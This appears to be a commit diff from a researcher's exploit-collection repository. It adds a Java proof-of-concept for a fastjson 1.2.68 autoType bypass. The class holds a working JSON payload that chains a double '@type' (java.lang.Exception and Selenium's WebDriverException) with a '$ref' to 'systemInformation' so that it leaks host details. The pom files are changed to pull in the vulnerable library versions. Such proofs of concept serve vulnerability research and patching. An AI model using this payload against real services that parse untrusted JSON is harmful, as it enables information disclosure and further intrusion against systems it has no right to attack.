add:fastjson gadget bypass 1.2.68 autoType - leak

Author: “threedr3am”

fastjson/pom.xml

@@ -16,7 +16,7 @@
     <dependency>
       <groupId>com.alibaba</groupId>
       <artifactId>fastjson</artifactId>
-      <version>1.2.62</version>
+      <version>1.2.68</version>
     </dependency>
 
     <dependency>
@@ -32,6 +32,19 @@
       <version>3.4.1</version>
     </dependency>
 
+    <dependency>
+      <groupId>org.seleniumhq.selenium</groupId>
+      <artifactId>selenium-api</artifactId>
+      <version>3.141.59</version>
+    </dependency>
+
+    <!-- https://mvnrepository.com/artifact/org.apache.abdera/abdera-core -->
+    <dependency>
+      <groupId>org.apache.abdera</groupId>
+      <artifactId>abdera-server</artifactId>
+      <version>1.1.2</version>
+    </dependency>
+
     <dependency>
       <groupId>commons-configuration</groupId>
       <artifactId>commons-configuration</artifactId>

fastjson/src/main/java/com/threedr3am/bug/fastjson/leak/seleniumBypassAutotype1_2_68.java

@@ -0,0 +1,29 @@
+package com.threedr3am.bug.fastjson.leak;
+
+import com.alibaba.fastjson.JSON;
+import com.alibaba.fastjson.JSONObject;
+
+/**
+ * bypass autotype <= 1.2.68
+ */
+public class seleniumBypassAutotype1_2_68 {
+
+    public static void main(String[] args) {
+
+        String payload = "\n"
+            + "{\n"
+            + "    \"name\":\"tony\",\n"
+            + "    \"email\":\"[email protected]\",\n"
+            + "    \"content\":{\"$ref\":\"$x.systemInformation\"},\n"
+            + "    \"x\":{\n"
+            + "                \"@type\":\"java.lang.Exception\",\"@type\":\"org.openqa.selenium.WebDriverException\"\n"
+            + "          }\n"
+            + "}";
+        try {
+            JSONObject jsonObject = JSON.parseObject(payload);
+            System.out.println(jsonObject.getString("content"));
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+}

feature/pom.xml

@@ -51,7 +51,7 @@
     <dependency>
       <groupId>com.alibaba</groupId>
       <artifactId>fastjson</artifactId>
-      <version>1.2.62</version>
+      <version>1.2.68</version>
     </dependency>
   </dependencies>